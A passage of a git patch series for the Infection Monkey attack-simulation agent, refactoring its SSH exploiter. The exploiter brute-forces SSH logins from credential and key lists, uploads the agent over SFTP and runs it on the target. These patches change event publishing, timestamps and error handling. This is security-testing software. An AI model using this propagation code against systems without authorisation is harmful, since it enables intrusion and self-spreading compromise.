self.exploit_result @@ -282,6 +286,15 @@ class SSHExploiter(HostExploiter): except Exception as exc: raise FailedExploitationError(f"Error running monkey on victim {self.host}: ({exc})") + def _is_port_open(self, ip: IPv4Address, port: int) -> bool: + is_open, _ = check_tcp_port(ip, port) + status = PortStatus.OPEN if is_open else PortStatus.CLOSED + self.agent_event_queue.publish( + TCPScanEvent(source=get_agent_id(), target=ip, ports={port: status}) + ) + + return is_open + def _get_ssh_port(self) -> int: port = SSH_PORT From 79f72dda550c2b9cefc839f81e371217977d0506 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 5 Oct 2022 17:26:59 +0000 Subject: [PATCH 12/20] Agent: Stop sending PropagationEvent before attempt --- monkey/infection_monkey/exploit/sshexec.py | 42 +++++++++++++--------- 1 file changed, 26 insertions(+), 16 deletions(-) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index b8f96eee8..00221edf2 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -2,6 +2,7 @@ import io import logging from ipaddress import IPv4Address from pathlib import PurePath +from typing import Optional import paramiko @@ -19,6 +20,7 @@ from common.types import PortStatus from common.utils import Timer from common.utils.attack_utils import ScanStatus from common.utils.exceptions import FailedExploitationError +from infection_monkey.exploit import RetrievalError from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.tools.helpers import get_agent_dst_path from infection_monkey.i_puppet import ExploiterResultData @@ -205,14 +207,19 @@ class SSHExploiter(HostExploiter): ssh.close() self.exploit_result.error_message = str(err) logger.error(self.exploit_result.error_message) - self._publish_propagation_event( target=self.host.ip_addr, propagation_success=False, error_message=self.exploit_result.error_message, tags=PROPAGATION_TAGS, ) - return self.exploit_result + except RuntimeError as err: + error_message = str(err) + self.exploit_result.error_message = error_message + logger.error(error_message) + finally: + ssh.close() + return self.exploit_result def _exploit(self, port) -> paramiko.SSHClient: try: @@ -226,23 +233,13 @@ class SSHExploiter(HostExploiter): return ssh def _propagate(self, ssh: paramiko.SSHClient): - if not self.host.os.get("type") and not self._get_victim_os(ssh): - raise FailedExploitationError( - f"Can't find suitable monkey executable for host {self.host}" - ) - - agent_binary_file_object = self.agent_binary_repository.get_agent_binary( - self.exploit_result.os - ) - - if not agent_binary_file_object: - raise FailedExploitationError( - f"Can't find suitable monkey executable for host {self.host}" - ) + agent_binary_file_object = self._get_agent_binary(ssh) + if agent_binary_file_object is None: + raise RuntimeError("Can't find suitable monkey executable for host {self.host}") if self._is_interrupted(): self._set_interrupted() - raise FailedExploitationError(f"Propagation was interrupted") + raise RuntimeError("Propagation was interrupted") monkey_path_on_victim = get_agent_dst_path(self.host) status = self._upload_agent_binary(ssh, agent_binary_file_object, monkey_path_on_victim) @@ -327,6 +324,19 @@ class SSHExploiter(HostExploiter): return False return True + def _get_agent_binary(self, ssh: paramiko.SSHClient) -> Optional[io.BytesIO]: + if not self.host.os.get("type") and not self._get_victim_os(ssh): + return None + + try: + agent_binary_file_object = self.agent_binary_repository.get_agent_binary( + self.exploit_result.os + ) + except RetrievalError: + return None + + return agent_binary_file_object + def _upload_agent_binary( self, ssh: paramiko.SSHClient, From e8f48085a4f64bc2cf748772eb11241eaac5ab1e Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 5 Oct 2022 17:43:40 +0000 Subject: [PATCH 13/20] Agent: Use the tag properties --- monkey/infection_monkey/exploit/sshexec.py | 60 ++++++---------------- 1 file changed, 16 insertions(+), 44 deletions(-) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 00221edf2..b0a7b7b2b 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -2,7 +2,7 @@ import io import logging from ipaddress import IPv4Address from pathlib import PurePath -from typing import Optional +from typing import Optional, Tuple import paramiko @@ -43,13 +43,17 @@ SSH_CHANNEL_TIMEOUT = MEDIUM_REQUEST_TIMEOUT TRANSFER_UPDATE_RATE = 15 SSH_EXPLOITER_TAG = "ssh-exploiter" -EXPLOIT_TAGS = (SSH_EXPLOITER_TAG, T1110_ATTACK_TECHNIQUE_TAG, T1021_ATTACK_TECHNIQUE_TAG) -PROPAGATION_TAGS = (SSH_EXPLOITER_TAG, T1105_ATTACK_TECHNIQUE_TAG, T1222_ATTACK_TECHNIQUE_TAG) class SSHExploiter(HostExploiter): _EXPLOITED_SERVICE = "SSH" + def _exploiter_tags(self) -> Tuple[str, ...]: + return (SSH_EXPLOITER_TAG, T1110_ATTACK_TECHNIQUE_TAG, T1021_ATTACK_TECHNIQUE_TAG) + + def _propagation_tags(self) -> Tuple[str, ...]: + return (SSH_EXPLOITER_TAG, T1105_ATTACK_TECHNIQUE_TAG, T1222_ATTACK_TECHNIQUE_TAG) + def __init__(self): super(SSHExploiter, self).__init__() @@ -61,7 +65,7 @@ class SSHExploiter(HostExploiter): logger.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total) timer.reset() - def exploit_with_ssh_keys(self, port) -> paramiko.SSHClient: + def exploit_with_ssh_keys(self, port: int) -> paramiko.SSHClient: user_ssh_key_pairs = generate_identity_secret_pairs( identities=self.options["credentials"]["exploit_user_list"], secrets=self.options["credentials"]["exploit_ssh_keys"], @@ -101,11 +105,7 @@ class SSHExploiter(HostExploiter): ) self.add_vuln_port(port) self.exploit_result.exploitation_success = True - self._publish_exploitation_event( - target=self.host.ip_addr, - exploitation_success=True, - tags=EXPLOIT_TAGS, - ) + self._publish_exploitation_event(True) self.report_login_attempt(True, user, ssh_key=ssh_string) return ssh except paramiko.AuthenticationException as err: @@ -114,19 +114,14 @@ class SSHExploiter(HostExploiter): f"Failed logging into victim {self.host} with {ssh_string} private key: {err}" ) logger.info(error_message) - self._publish_exploitation_event( - target=self.host.ip_addr, - exploitation_success=False, - error_message=error_message, - tags=EXPLOIT_TAGS, - ) + self._publish_exploitation_event(False, error_message=error_message) self.report_login_attempt(False, user, ssh_key=ssh_string) continue except Exception as err: logger.error(f"Unknown error while attempting to login with ssh key: {err}") raise FailedExploitationError - def exploit_with_login_creds(self, port) -> paramiko.SSHClient: + def exploit_with_login_creds(self, port: int) -> paramiko.SSHClient: user_password_pairs = generate_identity_secret_pairs( identities=self.options["credentials"]["exploit_user_list"], secrets=self.options["credentials"]["exploit_password_list"], @@ -158,23 +153,14 @@ class SSHExploiter(HostExploiter): logger.debug("Successfully logged in %r using SSH. User: %s", self.host, user) self.add_vuln_port(port) self.exploit_result.exploitation_success = True - self._publish_exploitation_event( - target=self.host.ip_addr, - exploitation_success=True, - tags=EXPLOIT_TAGS, - ) + self._publish_exploitation_event(True) self.report_login_attempt(True, user, current_password) return ssh except paramiko.AuthenticationException as err: error_message = f"Failed logging into victim {self.host} with user: {user}: {err}" logger.debug(error_message) - self._publish_exploitation_event( - target=self.host.ip_addr, - exploitation_success=False, - error_message=error_message, - tags=EXPLOIT_TAGS, - ) + self._publish_exploitation_event(False, error_message=error_message) self.report_login_attempt(False, user, current_password) ssh.close() continue @@ -195,7 +181,6 @@ class SSHExploiter(HostExploiter): except FailedExploitationError as err: self.exploit_result.error_message = str(err) logger.error(str(err)) - return self.exploit_result if self._is_interrupted(): self._set_interrupted() @@ -204,15 +189,9 @@ class SSHExploiter(HostExploiter): try: self._propagate(ssh) except FailedExploitationError as err: - ssh.close() self.exploit_result.error_message = str(err) logger.error(self.exploit_result.error_message) - self._publish_propagation_event( - target=self.host.ip_addr, - propagation_success=False, - error_message=self.exploit_result.error_message, - tags=PROPAGATION_TAGS, - ) + self._publish_propagation_event(False, error_message=self.exploit_result.error_message) except RuntimeError as err: error_message = str(err) self.exploit_result.error_message = error_message @@ -221,7 +200,7 @@ class SSHExploiter(HostExploiter): ssh.close() return self.exploit_result - def _exploit(self, port) -> paramiko.SSHClient: + def _exploit(self, port: int) -> paramiko.SSHClient: try: ssh = self.exploit_with_ssh_keys(port) except FailedExploitationError: @@ -270,14 +249,7 @@ class SSHExploiter(HostExploiter): ) self.exploit_result.propagation_success = True - - self._publish_propagation_event( - target=self.host.ip_addr, - propagation_success=True, - tags=PROPAGATION_TAGS, - ) - - ssh.close() + self._publish_propagation_event(True) self.add_executed_cmd(cmdline) except Exception as exc: From aba886624ecd458b4f2c805e540163ef4e73ede6 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 5 Oct 2022 18:02:27 +0000 Subject: [PATCH 14/20] Agent: Send propagation events sooner --- monkey/infection_monkey/exploit/sshexec.py | 28 +++++++++------------- 1 file changed, 11 insertions(+), 17 deletions(-) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index b0a7b7b2b..c0b934bcd 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -180,7 +180,9 @@ class SSHExploiter(HostExploiter): ssh = self._exploit(port) except FailedExploitationError as err: self.exploit_result.error_message = str(err) - logger.error(str(err)) + logger.error(self.exploit_result.error_message) + + return self.exploit_result if self._is_interrupted(): self._set_interrupted() @@ -188,14 +190,9 @@ class SSHExploiter(HostExploiter): try: self._propagate(ssh) - except FailedExploitationError as err: + except (FailedExploitationError, RuntimeError) as err: self.exploit_result.error_message = str(err) logger.error(self.exploit_result.error_message) - self._publish_propagation_event(False, error_message=self.exploit_result.error_message) - except RuntimeError as err: - error_message = str(err) - self.exploit_result.error_message = error_message - logger.error(error_message) finally: ssh.close() return self.exploit_result @@ -253,7 +250,9 @@ class SSHExploiter(HostExploiter): self.add_executed_cmd(cmdline) except Exception as exc: - raise FailedExploitationError(f"Error running monkey on victim {self.host}: ({exc})") + error_message = f"Error running monkey on victim {self.host}: ({exc})" + self._publish_exploitation_event(False, error_message=error_message) + raise FailedExploitationError(error_message) def _is_port_open(self, ip: IPv4Address, port: int) -> bool: is_open, _ = check_tcp_port(ip, port) @@ -288,11 +287,7 @@ class SSHExploiter(HostExploiter): logger.error(self.exploit_result.error_message) return False except Exception as exc: - self.exploit_result.error_message = ( - f"Error running uname os command on victim {self.host}: ({exc})" - ) - - logger.error(self.exploit_result.error_message) + logger.error(f"Error running uname os command on victim {self.host}: ({exc})") return False return True @@ -327,10 +322,9 @@ class SSHExploiter(HostExploiter): return ScanStatus.USED except Exception as exc: - self.exploit_result.error_message = ( - f"Error uploading file into victim {self.host}: ({exc})" - ) - logger.error(self.exploit_result.error_message) + error_message = f"Error uploading file into victim {self.host}: ({exc})" + self._publish_propagation_event(False, error_message=error_message) + self.exploit_result.error_message = error_message return ScanStatus.SCANNED def _set_executable_bit_on_agent_binary( From e11bd2c7f2aa5c9d31b9b1d2b006b671cdcbb846 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 5 Oct 2022 20:09:32 +0000 Subject: [PATCH 15/20] Agent: Stamp start time prior to running exploit --- monkey/infection_monkey/exploit/sshexec.py | 21 ++++++++++++++------- 1 file changed, 14 insertions(+), 7 deletions(-) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index c0b934bcd..563b85ac6 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -2,6 +2,7 @@ import io import logging from ipaddress import IPv4Address from pathlib import PurePath +from time import time from typing import Optional, Tuple import paramiko @@ -89,6 +90,8 @@ class SSHExploiter(HostExploiter): pkey = paramiko.RSAKey.from_private_key(pkey) except (IOError, paramiko.SSHException, paramiko.PasswordRequiredException): logger.error("Failed reading ssh key") + + stamp = time() try: ssh.connect( self.host.ip_addr, @@ -105,7 +108,7 @@ class SSHExploiter(HostExploiter): ) self.add_vuln_port(port) self.exploit_result.exploitation_success = True - self._publish_exploitation_event(True) + self._publish_exploitation_event(stamp, True) self.report_login_attempt(True, user, ssh_key=ssh_string) return ssh except paramiko.AuthenticationException as err: @@ -114,7 +117,7 @@ class SSHExploiter(HostExploiter): f"Failed logging into victim {self.host} with {ssh_string} private key: {err}" ) logger.info(error_message) - self._publish_exploitation_event(False, error_message=error_message) + self._publish_exploitation_event(stamp, False, error_message=error_message) self.report_login_attempt(False, user, ssh_key=ssh_string) continue except Exception as err: @@ -138,6 +141,8 @@ class SSHExploiter(HostExploiter): ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.WarningPolicy()) + + stamp = time() try: ssh.connect( self.host.ip_addr, @@ -153,14 +158,14 @@ class SSHExploiter(HostExploiter): logger.debug("Successfully logged in %r using SSH. User: %s", self.host, user) self.add_vuln_port(port) self.exploit_result.exploitation_success = True - self._publish_exploitation_event(True) + self._publish_exploitation_event(stamp, True) self.report_login_attempt(True, user, current_password) return ssh except paramiko.AuthenticationException as err: error_message = f"Failed logging into victim {self.host} with user: {user}: {err}" logger.debug(error_message) - self._publish_exploitation_event(False, error_message=error_message) + self._publish_exploitation_event(stamp, False, error_message=error_message) self.report_login_attempt(False, user, current_password) ssh.close() continue @@ -232,6 +237,7 @@ class SSHExploiter(HostExploiter): if status == ScanStatus.SCANNED: raise FailedExploitationError(self.exploit_result.error_message) + stamp = time() try: cmdline = f"{monkey_path_on_victim} {MONKEY_ARG}" cmdline += build_monkey_commandline(self.servers, self.current_depth + 1) @@ -246,12 +252,12 @@ class SSHExploiter(HostExploiter): ) self.exploit_result.propagation_success = True - self._publish_propagation_event(True) + self._publish_propagation_event(stamp, True) self.add_executed_cmd(cmdline) except Exception as exc: error_message = f"Error running monkey on victim {self.host}: ({exc})" - self._publish_exploitation_event(False, error_message=error_message) + self._publish_propagation_event(stamp, False, error_message=error_message) raise FailedExploitationError(error_message) def _is_port_open(self, ip: IPv4Address, port: int) -> bool: @@ -311,6 +317,7 @@ class SSHExploiter(HostExploiter): monkey_path_on_victim: PurePath, ) -> ScanStatus: try: + stamp = time() with ssh.open_sftp() as ftp: ftp.putfo( agent_binary_file_object, @@ -323,7 +330,7 @@ class SSHExploiter(HostExploiter): return ScanStatus.USED except Exception as exc: error_message = f"Error uploading file into victim {self.host}: ({exc})" - self._publish_propagation_event(False, error_message=error_message) + self._publish_propagation_event(stamp, False, error_message=error_message) self.exploit_result.error_message = error_message return ScanStatus.SCANNED From f0112410c98a85262220e500fa8107db4e8441fb Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 6 Oct 2022 11:59:31 +0200 Subject: [PATCH 16/20] Agent: Rename stamp to timestamp in SSHExploiter --- monkey/infection_monkey/exploit/sshexec.py | 22 +++++++++++----------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 563b85ac6..59848b06a 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -91,7 +91,7 @@ class SSHExploiter(HostExploiter): except (IOError, paramiko.SSHException, paramiko.PasswordRequiredException): logger.error("Failed reading ssh key") - stamp = time() + timestamp = time() try: ssh.connect( self.host.ip_addr, @@ -108,7 +108,7 @@ class SSHExploiter(HostExploiter): ) self.add_vuln_port(port) self.exploit_result.exploitation_success = True - self._publish_exploitation_event(stamp, True) + self._publish_exploitation_event(timestamp, True) self.report_login_attempt(True, user, ssh_key=ssh_string) return ssh except paramiko.AuthenticationException as err: @@ -117,7 +117,7 @@ class SSHExploiter(HostExploiter): f"Failed logging into victim {self.host} with {ssh_string} private key: {err}" ) logger.info(error_message) - self._publish_exploitation_event(stamp, False, error_message=error_message) + self._publish_exploitation_event(timestamp, False, error_message=error_message) self.report_login_attempt(False, user, ssh_key=ssh_string) continue except Exception as err: @@ -142,7 +142,7 @@ class SSHExploiter(HostExploiter): ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.WarningPolicy()) - stamp = time() + timestamp = time() try: ssh.connect( self.host.ip_addr, @@ -158,14 +158,14 @@ class SSHExploiter(HostExploiter): logger.debug("Successfully logged in %r using SSH. User: %s", self.host, user) self.add_vuln_port(port) self.exploit_result.exploitation_success = True - self._publish_exploitation_event(stamp, True) + self._publish_exploitation_event(timestamp, True) self.report_login_attempt(True, user, current_password) return ssh except paramiko.AuthenticationException as err: error_message = f"Failed logging into victim {self.host} with user: {user}: {err}" logger.debug(error_message) - self._publish_exploitation_event(stamp, False, error_message=error_message) + self._publish_exploitation_event(timestamp, False, error_message=error_message) self.report_login_attempt(False, user, current_password) ssh.close() continue @@ -237,7 +237,7 @@ class SSHExploiter(HostExploiter): if status == ScanStatus.SCANNED: raise FailedExploitationError(self.exploit_result.error_message) - stamp = time() + timestamp = time() try: cmdline = f"{monkey_path_on_victim} {MONKEY_ARG}" cmdline += build_monkey_commandline(self.servers, self.current_depth + 1) @@ -252,12 +252,12 @@ class SSHExploiter(HostExploiter): ) self.exploit_result.propagation_success = True - self._publish_propagation_event(stamp, True) + self._publish_propagation_event(timestamp, True) self.add_executed_cmd(cmdline) except Exception as exc: error_message = f"Error running monkey on victim {self.host}: ({exc})" - self._publish_propagation_event(stamp, False, error_message=error_message) + self._publish_propagation_event(timestamp, False, error_message=error_message) raise FailedExploitationError(error_message) def _is_port_open(self, ip: IPv4Address, port: int) -> bool: @@ -317,7 +317,7 @@ class SSHExploiter(HostExploiter): monkey_path_on_victim: PurePath, ) -> ScanStatus: try: - stamp = time() + timestamp = time() with ssh.open_sftp() as ftp: ftp.putfo( agent_binary_file_object, @@ -330,7 +330,7 @@ class SSHExploiter(HostExploiter): return ScanStatus.USED except Exception as exc: error_message = f"Error uploading file into victim {self.host}: ({exc})" - self._publish_propagation_event(stamp, False, error_message=error_message) + self._publish_propagation_event(timestamp, False, error_message=error_message) self.exploit_result.error_message = error_message return ScanStatus.SCANNED From dcb08b2881fc4e4a7e372918f3198747dd2beafe Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 6 Oct 2022 12:46:11 +0200 Subject: [PATCH 17/20] Agent: Convert IPv4Address to str when connecting to socket --- monkey/infection_monkey/network/tools.py | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/network/tools.py b/monkey/infection_monkey/network/tools.py index 2a309956c..045b7ada1 100644 --- a/monkey/infection_monkey/network/tools.py +++ b/monkey/infection_monkey/network/tools.py @@ -3,6 +3,8 @@ import select import socket import struct import sys +from ipaddress import IPv4Address +from typing import Optional from common.common_consts.timeouts import CONNECTION_TIMEOUT from infection_monkey.network.info import get_routes @@ -13,7 +15,7 @@ BANNER_READ = 1024 logger = logging.getLogger(__name__) -def check_tcp_port(ip, port, timeout=DEFAULT_TIMEOUT, get_banner=False): +def check_tcp_port(ip: IPv4Address, port: int, timeout=DEFAULT_TIMEOUT, get_banner=False): """ Checks if a given TCP port is open :param ip: Target IP @@ -26,7 +28,7 @@ def check_tcp_port(ip, port, timeout=DEFAULT_TIMEOUT, get_banner=False): sock.settimeout(timeout) try: - sock.connect((ip, port)) + sock.connect((str(ip), port)) except socket.timeout: return False, None except socket.error as exc: @@ -51,7 +53,7 @@ def tcp_port_to_service(port): return "tcp-" + str(port) -def get_interface_to_target(dst: str) -> str: +def get_interface_to_target(dst: str) -> Optional[str]: """ :param dst: destination IP address string without port. E.G. '192.168.1.1.' :return: IP address string of an interface that can connect to the target. E.G. '192.168.1.4.' From 95f1e3cb7bca143b3b744174d9754e1e312b6251 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 6 Oct 2022 12:48:15 +0200 Subject: [PATCH 18/20] Agent: Modify tags methods to be properties in SSHExploiter --- monkey/infection_monkey/exploit/sshexec.py | 9 +++------ 1 file changed, 3 insertions(+), 6 deletions(-) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 59848b06a..9d88c0472 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -3,7 +3,7 @@ import logging from ipaddress import IPv4Address from pathlib import PurePath from time import time -from typing import Optional, Tuple +from typing import Optional import paramiko @@ -49,11 +49,8 @@ SSH_EXPLOITER_TAG = "ssh-exploiter" class SSHExploiter(HostExploiter): _EXPLOITED_SERVICE = "SSH" - def _exploiter_tags(self) -> Tuple[str, ...]: - return (SSH_EXPLOITER_TAG, T1110_ATTACK_TECHNIQUE_TAG, T1021_ATTACK_TECHNIQUE_TAG) - - def _propagation_tags(self) -> Tuple[str, ...]: - return (SSH_EXPLOITER_TAG, T1105_ATTACK_TECHNIQUE_TAG, T1222_ATTACK_TECHNIQUE_TAG) + _EXPLOITER_TAGS = (SSH_EXPLOITER_TAG, T1110_ATTACK_TECHNIQUE_TAG, T1021_ATTACK_TECHNIQUE_TAG) + _PROPAGATION_TAGS = (SSH_EXPLOITER_TAG, T1105_ATTACK_TECHNIQUE_TAG, T1222_ATTACK_TECHNIQUE_TAG) def __init__(self): super(SSHExploiter, self).__init__() From 52380a25135ee0b67bde29a76ef56870531d0eb7 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 6 Oct 2022 09:51:14 -0400 Subject: [PATCH 19/20] Agent: Publish exploitation event on unexpected SSH exception --- monkey/infection_monkey/exploit/sshexec.py | 18 ++++++++++++++++-- 1 file changed, 16 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 9d88c0472..233a718ec 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -118,7 +118,14 @@ class SSHExploiter(HostExploiter): self.report_login_attempt(False, user, ssh_key=ssh_string) continue except Exception as err: - logger.error(f"Unknown error while attempting to login with ssh key: {err}") + error_message = ( + f"Unexpected error while attempting to login to {ssh_string} with ssh key: " + f"{err}" + ) + logger.error(error_message) + self._publish_exploitation_event(timestamp, False, error_message=error_message) + self.report_login_attempt(False, user, ssh_key=ssh_string) + raise FailedExploitationError def exploit_with_login_creds(self, port: int) -> paramiko.SSHClient: @@ -167,7 +174,14 @@ class SSHExploiter(HostExploiter): ssh.close() continue except Exception as err: - logger.error(f"Unknown error occurred while trying to login to ssh: {err}") + error_message = ( + f"Unexpected error while attempting to login to {self.host} with password: " + f"{err}" + ) + logger.error(error_message) + self._publish_exploitation_event(timestamp, False, error_message=error_message) + self.report_login_attempt(False, user, current_password) + raise FailedExploitationError def _exploit_host(self) -> ExploiterResultData: From c980bfd9153d6c1e53ba058c15c07a7dd1ab7efc Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 6 Oct 2022 09:57:11 -0400 Subject: [PATCH 20/20] Agent: Move timestamp closer to ssh.exec_command() --- monkey/infection_monkey/exploit/sshexec.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 233a718ec..0382f99ce 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -248,11 +248,11 @@ class SSHExploiter(HostExploiter): if status == ScanStatus.SCANNED: raise FailedExploitationError(self.exploit_result.error_message) - timestamp = time() try: cmdline = f"{monkey_path_on_victim} {MONKEY_ARG}" cmdline += build_monkey_commandline(self.servers, self.current_depth + 1) cmdline += " > /dev/null 2>&1 &" + timestamp = time() ssh.exec_command(cmdline, timeout=SSH_EXEC_TIMEOUT) logger.info(